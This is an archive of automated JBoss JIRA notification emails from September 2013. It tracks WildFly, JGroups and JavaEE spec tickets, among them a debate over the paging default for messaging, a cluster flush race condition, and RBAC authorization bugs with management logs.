    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806656#comment-12806656 ] 

Clebert Suconic commented on WFLY-2135:
---------------------------------------

PR sent: https://github.com/wildfly/wildfly/pull/5122
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 13:58:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 13:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.365.1379959125493@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806657#comment-12806657 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

EAP PR sent: https://github.com/jbossas/jboss-eap/pull/450
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:05:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 14:05:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.399.1379959545454@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806666#comment-12806666 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662] from ASSIGNED to POST
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:10:45 2013
From: jira-events at lists.jboss.org (Dennis Reed (JIRA))
Date: Mon, 23 Sep 2013 14:10:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.405.1379959845408@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806668#comment-12806668 ] 

Dennis Reed commented on JGRP-1674:
-----------------------------------

Fixed in commit f886837ab31cc944a33ce5fa5d04caa4347db730 on Branch_JGroups_2_6 by resetting the promise in JChannel#connect() before waiting on it.

In master the problem code was rewritten.
There is a similar bug in FLUSH (with worse effects)  https://issues.jboss.org/browse/JGRP-1682

                
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:12:45 2013
From: jira-events at lists.jboss.org (Dennis Reed (JIRA))
Date: Mon, 23 Sep 2013 14:12:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.415.1379959965791@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806668#comment-12806668 ] 

Dennis Reed edited comment on JGRP-1674 at 9/23/13 2:11 PM:
------------------------------------------------------------

Fixed in commit f886837ab31cc944a33ce5fa5d04caa4347db730 on Branch_JGroups_2_6 by resetting the promise in JChannel#connect() before waiting on it.

In master the problem code was rewritten.
In master there is a similar bug in FLUSH (with worse effects)  https://issues.jboss.org/browse/JGRP-1682

                
      was (Author: dereed):
    Fixed in commit f886837ab31cc944a33ce5fa5d04caa4347db730 on Branch_JGroups_2_6 by resetting the promise in JChannel#connect() before waiting on it.

In master the problem code was rewritten.
There is a similar bug in FLUSH (with worse effects)  https://issues.jboss.org/browse/JGRP-1682

                  
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:12:45 2013
From: jira-events at lists.jboss.org (Dennis Reed (JIRA))
Date: Mon, 23 Sep 2013 14:12:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.419.1379959965957@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Dennis Reed updated JGRP-1674:
------------------------------

    Fix Version/s: 2.6.23

    
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>             Fix For: 2.6.23
>
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:14:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 14:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.425.1379960085186@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806670#comment-12806670 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> changed the Status of [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074] from NEW to POST
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:20:45 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 23 Sep 2013 14:20:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2132) PrivilegedInterceptor missing
 even if security manager is set
In-Reply-To: <JIRA.12501310.1379948285000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501310.1379948285000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501310.1379948285000.429.1379960445167@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2132?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins updated WFLY-2132:
----------------------------------

    Summary: PrivilegedInterceptor missing even if security manager is set  (was: Add PrivilegedInterceptor always if security manager is set)

    
> PrivilegedInterceptor missing even if security manager is set
> -------------------------------------------------------------
>
>                 Key: WFLY-2132
>                 URL: https://issues.jboss.org/browse/WFLY-2132
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> Currently the PrivilegedInterceptor is only added to the chain if WildflySecurityManager.isChecking() is true, instead it should always be added, otherwise the privileged action may not be run, and that means permissions will fail to check

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:56:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 14:56:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.485.1379962605195@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806684#comment-12806684 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

John Doyle <jdoyle at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

Why not have KB for this specific question rather than a change that violates compatibility?  I believe we've made some changes like this to the configuration, but I think only when we have a value that clearly incorrect.

Interested in Jimmy's comments.
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:58:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 14:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.489.1379962725233@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806686#comment-12806686 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

@John it doesn't violate compatibility. The default has been PAGE already on the code.

BLOCK without user's knowledge will only lead to issues.

We should for sure change it on master, I would highly encourage to change it 6.2 as well.


You could even consider this as a bug as users have been thinking that it's blocking because of a bug.
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 14:58:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 14:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.491.1379962725326@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806687#comment-12806687 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

BTW: I always wanted this to be PAGE. 
so I would consider the BLOCK to be incorrect.
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:04:45 2013
From: jira-events at lists.jboss.org (Shelly McGowan (JIRA))
Date: Mon, 23 Sep 2013 15:04:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-141) JSR-115,
 JACC version changed from 1.4 to 1.5 in Maintenance Release 3 for
 Java EE 7 platform
In-Reply-To: <JIRA.12501330.1379963000161@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501330.1379963000161@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501330.1379963000161.495.1379963085167@jira02.app.mwc.hst.phx2.redhat.com>

Shelly McGowan created JBEE-141:
-----------------------------------

             Summary: JSR-115, JACC version changed from 1.4 to 1.5 in Maintenance Release 3 for Java EE 7 platform
                 Key: JBEE-141
                 URL: https://issues.jboss.org/browse/JBEE-141
             Project: JBoss JavaEE Spec APIs
          Issue Type: Sub-task
            Reporter: Shelly McGowan
            Assignee: Shelly McGowan


http://jcp.org/en/jsr/detail?id=115

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:16:45 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Micha=C5=82_Zegan_=28JIRA=29?=)
Date: Mon, 23 Sep 2013 15:16:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2137) transaction services do not
 start in domain mode with jts enabled
In-Reply-To: <JIRA.12501331.1379963766173@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501331.1379963766173@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501331.1379963766173.521.1379963805740@jira02.app.mwc.hst.phx2.redhat.com>

Micha? Zegan created WFLY-2137:
----------------------------------

             Summary: transaction services do not start in domain mode with jts enabled
                 Key: WFLY-2137
                 URL: https://issues.jboss.org/browse/WFLY-2137
             Project: WildFly
          Issue Type: Bug
            Reporter: Micha? Zegan


When launching the app server in domain mode when there is a transaction subsystem active with jts set to true, server shows an error that there's a circular dependency between services.
I don't have any log to show this but it is easily reproducible.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 15:16:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 15:16:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.523.1379963805803@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806696#comment-12806696 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Jimmy Wilson <jawilson at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

Last question for Clebert, why would anyone ever want BLOCK?  Are we going to upset anyone by changing it on them?
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:26:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 15:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.545.1379964405177@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806704#comment-12806704 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

I'm changing the name of this issue since the default was already page before. 

This was just about changing that standalone-full, or any other XML file
                
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:28:45 2013
From: jira-events at lists.jboss.org (Clebert Suconic (JIRA))
Date: Mon, 23 Sep 2013 15:28:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change distributed config on
 address settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.551.1379964525382@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Clebert Suconic updated WFLY-2135:
----------------------------------

    Summary: Change distributed config on address settings to Page instead of Block  (was: Change default ADDRESS settings to Page instead of Block)

    
> Change distributed config on address settings to Page instead of Block
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:49:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 15:49:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.574.1379965785540@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806712#comment-12806712 ] 

RH Bugzilla Integration commented on WFLY-2089:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1008087|https://bugzilla.redhat.com/show_bug.cgi?id=1008087] from ASSIGNED to MODIFIED
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 15:49:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 15:49:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.578.1379965785750@jira02.app.mwc.hst.phx2.redhat.com>


